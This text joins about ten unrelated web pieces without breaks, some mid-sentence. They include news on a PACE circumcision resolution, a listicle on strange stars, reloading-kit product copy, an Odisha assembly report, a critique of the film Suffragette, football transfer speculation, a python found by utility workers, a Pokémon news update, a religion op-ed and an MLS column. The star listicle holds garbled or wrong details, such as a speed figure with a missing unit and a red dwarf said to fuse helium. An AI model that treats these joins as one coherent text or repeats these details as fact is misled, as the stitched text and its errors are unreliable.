ensure that religious customs can be upheld freely and publicly.”“After months of discourse and presentations... it is now clear that the committee did important work and took our needs into consideration,” he added. “We are grateful for Mr. Huseynov’s work to ensure that the report adopted properly represents religious communities.”Goldschmidt also said the resolution’s adoption sends a message to all European states, governments and MPs to stand up for the rights of Jewish people across the continent.The Anti-Defamation League said: “The original proposal and resolution to place unreasonable restrictions on religious ritual circumcision was an unconscionable assault on a foundational religious principle of Judaism. The report itself was offensive and insulting to Jews and Judaism. In October 2013, the Anti-Defamation League publicly called on PACE to reverse this decision. With this resolution, PACE has acted to right a serious wrong.”Sam Sokol contributed to this report.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>10 of the Strangest Stars in the Universe
Ordinary, main-sequence stars are enormous balls of plasma held together by gravity and powered by fusion reactions deep within incredibly hot and dense cores. Our own Sun is a perfect example, but it’s an unremarkable object that’s not unlike millions of other stars in the Milky Way galaxy alone. However, just like everything else in the universe, stars come in many different breeds, each with distinct life cycles that can produce some truly astounding results. In this week’s listicle, I’m going to introduce you to 10 of the strangest stars in the universe, including some that have made us reevaluate our knowledge of physics.
#1. A Pulsar with a Planetary System
NASA/JPL-Caltech
Being all that remains of a star that’s gone supernova, a pulsar is a type of stellar remnant, but one that’s still intensely bright despite its size and radiates a spinning beam of light that looks a bit like that of a lighthouse. However, while pulsars are bizarre enough already, PSR B1257+12, also known as Lich, takes the weird to the next level by being host to no less than three of the most unusual extrasolar planets ever discovered. All that remains of a dead solar system, these planets have long had since their atmospheres stripped away by a supernova explosion, along with any life that may once have inhabited their punished surfaces.
#2. A Star Brighter than 8-million Suns
NASA
Never look at the Sun directly, especially when you’re using binoculars or a telescope. That’s what everyone tells you, and it’s some very solid advice if you want to avoid risking permanent eye damage. However, R136a1 is 8.7-million times brighter than the Sun, and that’s not even the only record it breaks. It also has the highest mass of any star so far discovered and, with a surface temperature of almost 50,300 °C, it’s one of the hottest. R136a1 lies at the centre of a starburst formation in the Large Magellanic Cloud, a satellite galaxy to the Milky Way some 163,000 light-years away.
#3. A Star that Keeps Mysteriously Dimming
NASA
Also known as Tabby’s Star, KIC 8462852 has been hitting the headlines and doing the rounds on social media most relentlessly in recent months. Located 1,480 light-years from Earth, the star is notable for its bizarre light fluctuations, which have lead many, perhaps rather overoptimistic, skywatchers to claim that it could be home to an alien megastructure such as a Dyson swarm or sphere. However, although Tabby’s Star remains one of the biggest astronomical mysteries of recent times, it seems rather more likely that its strange characteristics are down to a collision with a swarm of comets, a protoplanet or even another star.
#4. A Subgiant that Appears to Be Older than the Universe
Popularly known as Methuselah’s Star, HD 140283 simply shouldn’t exist at all. The universe is 13.8-billion years old, but current theoretical models put Methuselah’s Star at some 14.5-billion years old, thus presenting something of a dilemma for cosmologists. Since the age of the universe seems pretty certain, the discovery of this star has had to make cosmologists rethink their entire theory on stellar evolution or otherwise find a mistake in their observations which, so far, they haven’t found any definitive solution to address the problem.
#5. A Red Supergiant that Would Extend Beyond Jupiter
Philip Park
If you placed the red supergiant UY Scuti in the middle of our solar system, in place of the Sun, its heliosphere would swallow Mercury, Venus, Earth, Mars and Jupiter, and even Saturn would be cooked, its skies absolutely dominated by the largest star ever discovered. It has a volume some 5-billion times greater than that of the Sun, and its radius is estimated to be around 1,708 times greater. However, just because UY Scuti is enormously large, don’t expect to see it with a naked eye, since it’s 9,500 light-years away, so you’ll ideally need a telescope with an aperture of 4 inches (10 cm) or greater to find it easily.
#6. A Red Dwarf That’s Barely a Star
NASA's Goddard Space Flight Center/S. Wiessinger
Red dwarf stars are the most common in the universe, accounting for over two thirds of all known stars. They’re small, dim and red compared to the Sun and, as such, there aren’t any that are visible to the naked eye. 2MASS J0523-1403 barely even makes the definition of a star, since it’s only just massive enough to fuse helium and hydrogen in its core. Located 40 light-years away, it’s the smallest known main-sequence star, its radius being only eight percent that of the Sun. However, while this tiny star might be relatively cool and faint, it will take trillions of years for its fusion reactor to run out of fuel, countless aeons after our own star has died.
#7. A Stellar Remnant the Size of Central Park
Neutron stars are already weird enough, not least because they’re so densely packed that a sugar cube of matter from them weighs millions of tonnes. The poetically named RX J1856.5-3754 is one of the smallest of them all, being no larger than New York’s Central Park. However, with a surface temperature of at least 400,000 °C and a crushing gravitational pull some two-trillion times stronger than that of Earth, it wouldn’t be such a great place for a stroll. Making matters even stranger, because of a phenomenon called gravitational time dilation, spending some 8 years on the surface of this stellar remnant would equate to 10 years for someone back on Earth.
#8. A Magnetar That’s the Strongest Magnet in the Universe
Magnetars are a subcategory of neutron star characterised by their intensely strong magnetic fields, hundreds of millions times more powerful than anything that can be made by human hands. SGR 0418+5729, located around 6,500 light-years away, is one of the most exotic of all such stars, and it’s the strongest magnet so far discovered. Unusually, however, the magnetar has the lowest surface magnetic field of any stellar remnant of its type, but it appears to more than make up for it by magnetic energy stored within its core and projected from a relatively small surface region of 525-feet (160 metres) in diameter.
#9. A Hypervelocity Star Propelled by a Supernova
Almost all the stars in the Milky Way orbit the galactic centre; our own star does so every quarter of a billion years. US 708, however, is unbound, hurtling towards the edge of the galaxy at 26-million (43-million km) per hour. US 708 is a hypervelocity star that’s being booted out of its own galaxy, probably due to a supernova event that occurred relatively nearby. As such, the star is no longer gravitationally bound to the galactic core, and it’s moving faster than the galactic escape velocity. Consequently, US 708 will eventually move away from the Milky Way and become a rogue star floating through the vastness of intergalactic space.
#10. A Star that Flashes Red and Green
Palomar Observatory
Every autumn, in the northern hemisphere, skywatchers can train their telescopes onto one of the oddest-looking stars in the night sky. Twinkling red and green, this star is Capella, also known as Alpha Auriga, and it’s the sixth-brightest in the sky. However, what you’re actually seeing when you look up at the flashiest star in the night sky is no less than four stars. While they look like a single star to the naked eye, Capella is a star system sporting two pairs of binary stars which are gravitationally bound to each other at 10,000 astronomical units. Owing to its strange appearance, Capella is actually far better known for its influence on mythology than its being a star.Cancer and Reproductive Harm- Cancer and Reproductive Harm- www.P65Warnings.ca.gov
A convenient, cost-saving solution for the beginning reloader or an equipment upgrade for the seasoned expert, the RCBS Rock Chucker Supreme Reloading Kits contain virtually all the top-quality equipment needed for precision metallic reloading. Based on the legendary Rock Chucker Press, the Rock Chucker Supreme and Supreme Master Kits offer a superior blend of strength, precision and versatility. They have the same ultrastrong cast-iron construction along with a larger window opening to accommodate today’s longer magnum cartridges. Ambidextrous designs ensure comfortable right- or left-hand use. Rock Chucker Supreme Press, M500 mechanical scale, Uniflow™ Powder Measure, Nosler No. 7 Reloading Manual, Hand-Priming Tool, Hex-Key Set, Universal Case Loading Block, Case-Lube Kit, Powder Funnel and Deburring Tool. Dies and shellholders not included.Bhubaneswar: Odisha Assembly was stalled for the second consecutive day today over the ponzi scheme scam in the state with Opposition members storming the well alleging involvement of ruling BJD leaders and demanding immediate discussion on the issue.
As soon as the House assembled for the day, both Congress and BJP members were on their feet shouting slogans and waving placards and banners which slammed the BJD government for the 'loot of poor people's hard-earned money by tainted chit fund
companies'.
Some of the placards claimed that CBI probe into the ponzi scheme scandal had exposed the ruling BJD as some ruling party leaders have been arrested by the agency.
Shouting slogans the Congress legislators trooped into the well of the House.
Ruling BJD members, too, rushed into the well also waving placards demanding immediate central assistance for calamities
wrought by Cyclone Phailin last year and Cyclone Hudhud last month.
As pandemonium prevailed Speaker Niranjan Pujari adjourned the House till 11.30 am.
When the House reassembled similar scenes were witnessed leading to adjournment till 3 pm.
The House also witnessed protest by Opposition BJP members against alleged use of 'unparliamentary and vulgar words' by state Agriculture Minister Pradeep Maharathy to the party's lone woman MLA Radharani Panda, who staged a sit-in in front of the speaker's podium in the well demanding action against Maharathy.
"Maharathy made unacceptable remarks. His words were derogatory against any woman," she told reporters outside the House adding she felt humiliated over the incident.
"If a woman MLA's dignity is not protected in the Assembly, what about women across the state?" she asked.
Maharathy, however, denied having any objectionable remarks against Panda and said she might have heard something wrong in the din.
PTI
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.A few weeks ago I went to see Suffragette at a press screening and I have to admit I was impressed.
Director Sarah Gavron and screenwriter Abi Morgan have produced a harrowing portrayal of the extreme measures white women took to take the patriarchy down a peg or two and give the white ladies of the land the right to vote.
Carey Mulligan, Helena Bonham Carter and especially Anne-Marie Duff do the original white suffragettes justice with their performances as the key white women, from all class backgrounds in the early 20th century, who risked life, limb and family for the white female voice to be heard.
So you may be thinking, ‘jeez, this lady is really overusing the word white’, and you’d be right, because if I’m to go by the historical accuracy of the film, then we’re meant to believe that there were no women, nay people of colour, living in Britain during the early 20th century.
Advertisement
Advertisement
And don’t get me wrong, I know enough about the times to know that white women were at the centre of the British suffrage movement, but that doesn’t mean there weren’t ethnic minorities in the margins.
British suffragette Emmeline Pankhurst being jeered by a crowd in New York, circa 1911 (Picture: Topical Press Agency/Getty Image)
Many Indian women campaigned at the turn of the century for the vote, but they were noticeably absent from the film.
An interesting historical omission, considering that Princess Sophia Duleep Singh, daughter of Maharaja Duleep Singh, was a prominent suffragette and member of the Women’s Social and Political Union and marched alongside Emmeline Pankhurst on November 18, 1910, in a 400-strong demonstration since known as Black Friday.
Sarah Gavron explained why she didn’t include Indian suffragettes, saying in an op-ed: ‘The census records of the early 1900s do not record ethnic diversity, but judging by names, the photographic evidence and written accounts, it appears there were just two women of colour who joined the UK movement.
‘We found one photograph featuring women of colour.’
group of Indian suffragettes in London, 1911 pic.twitter.com/y6b54vreRD — Old Pics Archive (@oldpicsarchive) October 1, 2015
Of course there would be less evidence of ethnic minorities campaigning and such at that time, because the country was still dismissive and less willing to include non-white people within society.
If a picture wasn’t taken of women of colour campaigning for equality, does that mean it didn’t happen?
Advertisement
Advertisement
Putting the philosophical question of George Berkeley aside, maybe we can understand Sarah and Abi’s decision to leave key Asian suffragettes out because they wanted to focus on the working class efforts with these fictional militant heroes, but that doesn’t explain the white-washing of peripheral characters.
#Suffragette – great where are the women of colour? What a chance missed. — End of. (@Aibagawa) October 11, 2015
What about those background artists working at Maud Watts and Violet Miller’s launderette in Bethnal Green, living in the houses near Maud’s family home or out and about in the East End? Why were all those extras white despite the fact that East London during the early 20th century was a prime location for migrant and ethnic communities?
A 100 years earlier the British slave trade had been abolished, with slavery following suit in 1833, and though the black immigrant population had declined due to continued scientific racism and discrimination from white society towards the end of the 19th century, there was still between 20,000 and 25,000 living in the capital in the early 1900s.
And I’m not just talking about African immigrants and former slaves. Limehouse was the location of London’s original Chinatown and 95% of the population in the Wentworth Street district of Spitalfields was Jewish thanks to an influx of migrants from Eastern Europe.
In Suffragette you’d be pushed to hear an accent that wasn’t Cockney or the Queen’s English – except of course Brendan Gleeson’s Irish police inspector.
Carey Mulligan as Maud Watts working in the laundry (Picture: Pathe)
MORE: Suffragette’s Meryl Streep and Carey Mulligan criticised over ‘racially insensitive’ T-shirts
Advertisement
But Anne-Marie Duff – who plays laundry worker and suffragette Violet – claims there were people of colour, telling Metro.co.uk: ‘if you watch the film again you will see women of colour in the laundry scene. There were, my friend, women of colour in that laundry scene.’
I went on to iMDB to look at the full cast list to see if there were any men or women of colour credited as working in the laundry scenes but all those listed are of white performers.
Of course not all of the laundry workers were listed, and maybe my eyes narrowly missed the ethnic extras in the film, as did many of my colleagues, but my friend Sarah didn’t miss a pretty big inaccuracy in the end credits.
Where the movie comes to a close, a timeline scrolls through the years in which women across the world got the right to vote, and for the US it said all women got the right in 1920.
But that’s not true is it? White women got the right to vote in 1920, but most black women and men in the US wouldn’t be free to put their votes into a ballot box for another 35 years thanks to the Voting Rights Act of 1965.
Issue with Suffragette @SarahRapp saw at end credits: Not ALL US women got the right to vote in 1920. Just white women. #intersectionality — Hanna Flint (@HannaFlint) September 14, 2015
Some of these white suffragettes even disassociated themselves from African-Americans and argued that by giving women voting powers they could support the white patriarchy in keeping black people in chains.
What is intersectionality? American professor Kimberlé Crenshaw coined the term Intersectionality in 1989, though as a concept, it already existed. It’s defined as: The view that women experience oppression in varying configurations and in varying degrees of intensity. Cultural patterns of oppression are not only interrelated, but are bound together and influenced by the intersectional systems of society. Examples of this include race, gender, class, ability, and ethnicity. So someone who is black and is a woman will have a different experience than that of all women
Filmmakers who I want to give credit to for making a film to inspire the next generation of female activists, but have approached history through a narrow white feminist perspective.
Advertisement
Filmmakers who have, intentionally or not, perpetuated the idea that we should take notice of white women’s issues in history and ignore intersectionality.
Sarah Gavron is right when she says ‘there is no one agreed historical interpretation, no single “suffrage history.”‘
The early history of women’s rights in the UK has so many different faces…
It’s just a shame Suffragette chose to paint it white.
Suffragette is out in UK cinemas now. Watch the trailer below:
To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video
MORE: ‘Domestic violence kills 2 women a week’: Sisters Uncut on their Suffragette premiere protest |
but not getting the minutes on the pitch, David Nugent is a journeyman within the football league and scoring goals for fun throughout.
Nugent has won promotion twice from the Championship with two different clubs and played an integral part in both promotions with his ability in front of goal.
Nugent would be a great addition and would be a great player to introduce in the last 30 minutes of a game as you know the chances of him finding the back of the net is relatively high.
However, Nugent is the other side of thirty and with the youth and fast pace tempo currently at Leeds, Nugent might struggle to adapt.
Jermaine Beckford
This choice will be a familiar one to Leeds fans.
The Leeds legend has had an indifferent time over the last 12 months. An injury has limited his chances at Preston and, even though he has never really found his goal-scoring ability that he had when he was at Leeds, I would welcome him home with open arms.
With the Leeds fans behind him, Beckford could once again flourish at Elland Road and offers a real alternative to Chris Wood.
But January is still a long ways off and after making his goal scoring return against Newcastle (the goal was eventually ruled an own goal), the 32 year old has again been absent from the Preston line-up due to injury.
Remember this?
Who knows what the next few weeks hold for Beckford, but his return could be a welcome option for Leeds fans.
Jermain Defoe
Okay, so Jermain Defoe is included based only on a rumour which circulated on social media, and I know it was probably just fans dreaming the impossible. However, sometimes the impossible can become the possible, right? No? It’d be fun to see Defoe in White, but this is the least likely option.
So who do you put in our sights for the January Window? Anyone good out there that I missed? Let us know in the comments below. Thanks for reading. MOTUtility workers are glad their mower found a big snake in Greenville, instead of the snake discovering them.
Greenville Utilities says what is believed to be an 8-1/2 foot long python was accidentally killed Thursday afternoon behind a home at Nottingham Road and Rupert Drive.
Water Resources supervisor Jeff Sutton says a contractor was helping them clear a sewer easement with a bush hog when they heard it hit what they thought was a stump. Instead they discovered the big snake, with its head cut off.
Sutton says he's glad no one stepped on the reptile, and they were concerned there might be another one in the brush so they called animal control. Nothing else was found.
The snake weighed between 35 and 45 pounds and so far no one has come forward claiming ownership.
Sutton says it looked like a pet that someone may have turned loose after it got too big.Wednesday: Pokémon CoroCoro Reveal - New Pokémon Magiana by Serebii This update may be amended throughout the day so be sure to check back. If you have any ideas for the site, be sure to send them in
With the generation continuing and Nationals coming up globally, and the Chatroom has been rife with discussion while the WiFi Chatroom has been a place for battles, trades and Friend Safari hunting, so be sure to visit them. Our Forums have also had these discussion and are a bustling trade and competitive section for the games. Be sure to like our FaceBook Page.
Last Update: 03:35 GMT
Edit @ 21:34: Mew Event In The Games Department Pokémon The first image of the cover of CoroCoro has been released through a trailer. This cover includes the first silhouette of a brand new Mythical Pokémon. This Pokémon is called Magiana (マギアナ). We'll bring images of it as soon as humanly possible so keep checking back. We'll bring more as it comes
Edit @ 13:20: First image of Magiana. Its classification is Man-Made Pokémon. No type has been revealed. Possesses a metalic body, text confirms it was'made by human hands'. It was made over 500 years ago. Volcanion is chasing Magiana, only it knows Magiana's secret.
Edit @ 13:27: The movie is to be called Volcanion and the Ingenious Magiana
Edit @ 18:05: Movie summary from the magazine:
As Ash and his friends continue their journey, Volcanion drops down from the sky in front of them. Volcanion's object is to recover Magiana, who has been abducted by the "Azoth Kingdom", a city of super-machinery. However, Volcanion and Ash have become linked together by a strange chain. Will the two of them manage to work together and save Magiana?
Edit @ 03:35: Added a new image for the magazine that showcases various Mega Evolutions with Magiana and Volcanion Pokémon Pokémon Pokémon In The Games Department Pokémon Omega Ruby & Alpha Sapphire For those of you in France, the Mew event has been announced. From February 26th through to March 31st, you'll be able to receive a code to get Mew at Micromania stores across the country. This Mew matches the one currently being given out around the world Until Next Time, See YaThe media-labeled "New Atheists" such as Richard Dawkins and Christopher Hitchens have put forward what they regard as the answer to religion: grow up, human race, and abandon your myths!
Most Americans, and maybe even most people around the world, have another answer to the extremes of religion that infect people like Umar Farouk Abdulmutallab who (allegedly) tried to blow up an airplane over Detroit: hunt down and kill the extremists.
I think just about everyone has missed the real point: religion won't go away because -- like it or not -- people are spiritual beings.
Telling religious people to be moderate is not going to solve anything once they are convinced everyone not like them is the enemy of "truth." Killing more people just makes martyrs. That being the case, the way to confront religious poison is to change religion, not try to win by eliminating it. And that change means we have to try and get to the next generation before the fundamentalists do.
The only real solution to religious extremism is to change the conversation about religion altogether.
We urgently need to make that conversation center on embracing paradox rather than seeking -- then trying to impose by force and or "reason" -- our pet certainties on others.
How do we change the conversation about religion, roll back the violence done in the name of God (be that by gay-hating American "Christian" fundamentalists or world-fearing "Islamic" radicals -- and while we're at it end the culture war here at home that divides us on everything from the existence of God to abortion and gay rights?
How do we live together in a world where some people fervently believe that the earth is 6000 years old, that gay men and women choose to be gay and can "change" if they want to, that Jesus will soon return (and thus that war in the Middle East is a good thing because it is a "sign" of the much-hoped-for "End Times") while other people just as fervently believe that people who hold such views are dumb, evil and dangerous?
Do the New Atheist really believe that "Reason" (whatever that is) will win the day after people are indoctrinated? Good luck with that! Do they see signs of that happening? Or do the evangelicals like Pastor Rick Warren really believe that they will convince the world to sign on for a dose of Jesus-induced American middle class-style "values" by following Warren's trademark narrow minded "purpose driven" model of fundamentalist Christianity?
Does raising the volume help as we shout at each other, mock one another and ramp up our own self-fulfilling "prophecies" of doom? Or is there an alternative?
Put it this way: what might have helped the misguided and inept young man -- Abdulmutallab -- who allegedly tried to blow up that plane? Say he'd run into you or me in London when he was living there and studying, how could we have talked him into another frame of mind other than that of absolutism and aggrieved confrontation with the "other"?
Would he have changed his views if Rick Warren had handed him a copy of The Purpose Driven Life? And had he converted to Warren's brand of Christianity would Abdulmutallab have also signed on -- as did many of Warren's followers in Africa -- to Warren's homophobic campaign that (in Uganda) allegedly contributed to proposed legislation to impose the death penalty on gays? (Something that very belatedly Warren spoke out against when pressed by the media). What would have been the use of converting Abdulmutallab to the American moral equivalent of the Taliban's brand of "Islam" -- a version of Christianity that excludes gays, Jews, atheists, and anyone else regarded as the "lost"?
Would Bill Maher have been able to mock the would-be bomber into a change of heart by making fun of his belief in "imaginary friends?"
Or could Christopher Hitchens have convinced Abdulmutallab to abandon religious belief based on a one-sided list of all of the evils in history ascribed to religion?
What if our radicalized and hate-filled American gun-loving, Obama-hating evangelicals with their gay bashing rhetoric could also have once been reached? If so, how?
Evangelical/fundamentalists, Islamic fundamentalists, and for that matter, atheist fundamentalists who stick with their program are forced to try to reconcile the irreconcilable. That tends to piss them off! That tends to make them look for simple solutions from one line Maher-style punch lines to suicide bombs that will once and for all "answer" people with another point of view and shut them up!
Evangelical/fundamentalists and fundamentalist atheists have bought into an idea that my evangelical missionary mother used to phrase as a dire warning: "If you pick and choose between verses in the Bible, the whole thing will unravel! If it's not all true, none of it is!"
Because picking and choosing is what thinking is, thinking becomes a threat to people who are certain they are right. Who knows where asking questions might lead?
What Islamic, Christian and/or atheist fundamentalists won't admit is that all fundamentalists do pick and choose, by necessity, when interpreting their beliefs.
Seen any adulterers stoned to death in a church lately? Somewhat less dramatically, but just as tellingly, if you are an evangelical/ fundamentalist churchgoer, have you recently heard that Bible verse in Genesis about how "the sons of God saw the daughters of men that they were fair; and they took them wives" preached on? And if you are a Hitchens/Dawkins/Maher follower have you read any good essays by them on the weirdly symbiotic relationship between some bloodthirsty secular regimes (China anyone?) and atheist beliefs?
As I point out in my book Patience With God -- Faith for People Who Don't Like Religion (or Atheism) Christian fundamentalists having elevated the Bible (or at least the nicer bits that they like) to the status of a magic book in which God is trapped and kept somewhat like a tame pet, can't admit that the Bible has flaws and is just plain crazy in places. And try criticizing Dawkins on his website and see how the word "infidel" can be resurrected in spirit if not literally by "open-minded" atheists!
Is there another way to look at "truth" issues that might not lead to hate? Yes. It's called apophatic theology and can be applied to both secular and religious ideas.
Evagrius Ponticus (a fourth century monk) summed up this view, saying "Do not define the Deity: for it is only of things which are made or are composite that there can be definitions." In fact, a whole anti-theology came to be called apophatic theology, or the theology of not knowing, or negative theology. It speaks only about what may not be said about God. And this way of perceiving God is found not just in Christianity but in other religions too.
This theology takes a mystical approach related to individual experiences of the Divine beyond ordinary perception. It teaches that the Divine is ineffable, something that can be recognized only when it is felt, then remembered. And therefore all descriptions of this sense will be false, because by definition the experience of God eludes description.
Apophatic descriptions of God acknowledge (1) that neither the existence of God nor nonexistence, as we understand these words in the material world, applies to God, (2) that God is divinely simple and that one should never claim God is "one" or "three" or any "type" of being, (3) that we can't say that God is "wise," because that implies knowledge of what wisdom is on a divine scale, and (4) that to say that God is "good" also limits God to what that word means in the context of human behavior.
If we want to change the religion debate the same could and should be applied to all philosophy and even to science. There is a difference between opinion and changing/evolving information and absolute and changeless fact. If we'd divide the practical everyday "facts" from making huge and out-sized cosmological "conclusions" we'd all be better off.
We'd also be closer to the truth that we can't know anything conclusively because we are evolving and not "there" yet (wherever there is!) and also we are part of the paradox we're seeking to unravel. In other words rather than strapping bombs on ourselves to eliminate the other, we might instead "strap" on a bit of humility be that atheist humility in the face of tenacious spirituality or religious humility in the face of the very apparent contradiction of some of religion's fondest beliefs by science.
Recognizing that paradox is the way things are is about more than theological conflicts.
Science (grudgingly) embraces paradox too. Take, for example, what seems to be the contradiction between Einstein's proven Theory of General Relativity and Quantum Mechanics. The first theory holds that if you know the initial conditions of a physical system with absolute certainty, then you can know the future outcome of the system you are modeling. Theoretically, then, everything in the universe is as predictable as the speed of light -- if you have enough information.
The second theory (Quantum Mechanics) says that you can never know the initial conditions exactly and also that you can't know what will happen in the future of any physical system. You can only know, to a greater or lesser extent, the probability of something happening because, for instance, some particles can be in two places at once. Quantum Mechanics might be described as the apophatic science of uncertainty.
The point is to agree on a better vision of where we want to evolve to, not just physically but also ethically.
That is a project that believers and agnostics and atheists can and should agree on. We don't have to "fit" our ideas about how we perceive things together in order to work together. We can be the same "particle" but exist in two places at once.
If the Umar Farouk Abdulmutallabs of this world (of whatever religion or no religion at all) could be reached with an "evangelism" of paradox and blessed uncertainty before the people so certain that they are right get to them, we could change our world dramatically for the better.
Uncertainty is not to be "solved" it is to be embraced. That has to be our message as we press into the next decade of this so-far violent and disastrous century.Sporting Kansas City succeeded in keeping Keegan Rosenberry from being a Philadelphia Union homegrown player, but the Rookie of the Year contender is shining with the Union anyway.
During the second half of Saturday's match against the Philadelphia Union, Sporting Kansas City coach Peter Vermes had a perfect close-up view of Union standout rookie Keegan Rosenberry. The Georgetown product, who would be running away with the MLS Rookie of the Year trophy if not for Jordan Morris, was in the midst of another outstanding game for the same Union team he spent his early years developing with in its academy system. What was unknown to the public at the time is that the team Rosenberry was facing was the very team that tried the hardest to keep him from playing for the Union.
According to multiple sources, Sporting Kansas City put in a dispute of Rosenberry's homegrown player status with the Union, and while Sporting KC wasn't alone, the Western Conference club was the most aggressive about having MLS deny the Union's claim. Ultimately the league rejected the Union's homegrown claim on Rosenberry, which then forced the Union to select him with the No. 3 pick in the 2016 MLS draft.
Union officials wouldn't go on record about Sporting KC's role in their homegrown claim being rejected, but one club official speaking on condition of anonymity took issue with Sporting KC's rule, telling Goal USA, "It's not something we would have done."
When asked if Sporting KC played a role in Rosenberry's homegrown player claim being denied by MLS, Vermes couldn't personally remember the dispute taking place.
"I don't remember. We may have," said Vermes, who oversees all the club's soccer matters as its manager. "I didn't do it, but somebody else on my staff may have done it. Could have been.
"If we did it, we must have been right."
Rosenberry's claim was ultimately rejected due to him not having spent the required amount of time training with the Union or Union affiliates while he was still at Georgetown. The unique academy structure of the Union's early years, which consisted off affiliations with established clubs, has led to several rejected homegrown player claims in past years, but Rosenberry's claim appeared to have been denied based on him not completing enough training hours prior to his senior season at Georgetown, during which time he was taking economics classes during summer school.
Rosenberry spent time in the summer before his junior college season training with Sporting Kansas City, which surely led to Sporting KC disputing the claim. It was also in Sporting KC's interests to have Rosenberry available in the draft given its need for a right back, and Rosenberry's status at the time as a projected mid-first round pick.
MLS denied the Union's homegrown claim last fall, which led to a lengthy fight by the Union to have it restored. That proved unsuccessful, leaving Rosenberry to go into the 2016 draft. His draft stock soared after a strong showing at the MLS Combine, which left the Union with the decision to either try and take Rosenberry early, or risk losing him before its No. 6 overall pick.
There was also the belief that the Union might pass on Rosenberry in protest because of its rejected claim, though Union officials insist that was never a consideration. The only question for the Union was just how high to select Rosenberry. The Union went into the draft holding the No. 3 and No. 6 picks, but a draft-day deal helped the Union secure the No. 2 overall pick as well. After grabbing Joshua Yaro with the second overall pick, the Union selected Rosenberry third overall, which came as a pleasant surprise to the defender.
"I thought the same thing, that they might not take me. It's like, 'We just missed out on a homegrown deal, why should we waste a high draft pick on him,'" Rosenberry told Goal USA. "It crossed my mind, but I didn't let too much of that get to me. And then, also, in the moment when they took Joshua (Yaro), I thought, 'Who takes two guys from the same school back-to-back?' That ran through my mind for sure, but I couldn't have been happier after it happened. I was thrilled."
As unhappy as the Union were at missing out on Rosenberry's homegrown claim, those bad feelings have faded away. All three first-round picks are contributing for the Union, and early on the group has the makings of one of the best draft classes in recent memory. Rosenberry has been the crown jewel of the class, looking like a veteran and making a strong case for being the best right back in the league as a rookie.
Sporting KC officials, much like officials from several other MLS teams, are probably wishing they had Rosenberry, but watching him play for the Union it's tough to imagine him being anywhere else in the league.
GALAXY'S NIGHTMARE EVENING
Whether it was the ghost of Chivas USA rising up to torment their former rival, or simply just a case of brutally bad luck, the LA Galaxy spent Saturday night at StubHub Center enduring one of the worst nights in the club's recent memory.
Aside from the dropped points the Galaxy gave away in a 0-0 draw with a struggling Vancouver Whitecaps side, the Galaxy suffered a trio of key injuries that could jeopardize the team's playoff prospects. Gyasi Zardes suffered a broken foot after a rough challenge by Kendall Waston, and earlier in the match both Steven Gerrard and Jelle van Damme suffered injuries. Throw in Monday's news that the Galaxy will be parting ways with Nigel de Jong and suddenly the Galaxy look like a team in disarray.
The Galaxy had already been stuck in a rut, having watched a nine-match unbeaten streak eventually morph into the team's current 0-1-5 winless rut. Now, without Zardes and de Jong for the rest of the regular season, and with Gerrard and Van Damme looking set to miss time, Bruce Arena will have a tough task trying to get the Galaxy back into the top three in the West.
The Galaxy will need to lean heavily on its bench to help salvage the season, with Jeff Larentowicz likely to pick up the minutes left by De Jong's looming departure, and Sebastian Lletget, Emmanuel Boateng and Mike Magee all needing to step up to replace Zardes' production. Defensively, Leonardo will need to perform well alongside Daniel Steres, while Baggio Husidic must step up if Gerrard is forced to miss extended time.
All those absences will also mean more pressure on Robbie Keane and Giovani dos Santos to carry the attack. There is still more than enough talent on the Galaxy to maintain their playoff position in the West, but climbing past FC Dallas, Real Salt Lake and Colorado to grab one of the two first-round byes in the playoffs is going to be extremely difficult.
COLLIN FEELS RIGHT AT HOME WITH RED BULLS
Aurelien Collin was at Newark Airport in April, sad to be leaving the New York City area he loves so much, uncertain about what lied ahead for his career. The former MLS Cup MVP had spent the previous night stuck to the Orlando City bench as he watched the Red Bulls post a 3-2 victory over the Lions at Red Bull Arena. It was Orlando City's seven match of the season and fifth one Collin failed to play a single minute in. He knew his days in Orlando were numbered, but when his phone rang at the airport that April night, he couldn't have imagined it was a call to let him know he would be sticking around in the New York area for a while.
The Red Bulls noticed Collin on the Orlando City bench too that April night, and the club's desire for a physical presence in a central defense hit by injuries and limited options made Collin a perfect target. Some trade maneuvering led to a deal that sent Collin to the Red Bulls for a conditional fourth-round pick in the 2017 MLS draft. It was an easy deal for the Red Bulls to make, especially considering Orlando City was also willing to pay a large portion of Collin's salary for the rest of the year.
That trade has been one of the steals of the season. Collin joined the Red Bulls and immediately stepped into the lineup, giving the reigning MLS Supporters' Shield winners the aerial presence they had lacked since selling Matt Miazga to Chelsea last winter. He has started 14 of the Red Bulls 18 matches since the trade, and the Red Bulls have allowed just 15 goals in those starts.
"I knew they had the best stadium in the league, one of the best fans in the league, an amazing training center, and when I came here I saw professionalism and it's been amazing," Collin told Goal USA. "It was a dream come true to play in New York, and step by step it's going perfectly."
Collin has partnered with fellow Frenchman Ronald Zubar to form a central defense partnership that has improved over time, and while there are still hiccups, there is no disputing the fact that the Red Bulls defense has improved dramatically since his arrival.
"He's been a huge help for us, and part of the reason our team's been so solid in the back," Red Bulls goalkeeper Luis Robles told Goal USA. "The one thing that I respect about him more than anything is he's a competitor. He's a real pain in the butt to play against, and I admire that. I think that's what made me so excited when I found out he could be on our team. These are the types of things we needed, leadership, quality, presence, he has all of them."
The Red Bulls will be hoping Collin can help them secure the MLS Cup title that has eluded the club, a title Collin lifted as game MVP with Sporting KC in the 2013 MLS Cup final. If the Red Bulls do clear that hurdle, it is a good bet Collin will be a major part of that title run.
QUICK KICKS
Toronto FC missed a golden opportunity to increase its lead atop the Eastern Conference, but NYCFC's stumble in Orlando gives TFC a two-point cushion as the Canadian club prepares for a stretch without injured star Sebastian Giovinco. Greg Vanney's side did well to battle through a rash of injuries during the summer, but replacing Giovinco's offensive impact will be much tougher. Look for Toisant Ricketts to help pick up some of the slack, but replacing Giovinco's creativity will be next to impossible.
—
Jordan Morris' latest goal gives him an impressive nine on the season, but his finishing continues to be a work in progress. As he heads to U.S. national team camp, Morris has finished just 26.7 percent of his big scoring chances, the lowest rate of any player in the MLS top 30 goal scorers. He has missed 11 big scoring chances this season, second most in MLS (David Villa has missed 13). The good news is that he's putting himself in position to score, and as his finishing improves, the goal totals could skyrocket.
—
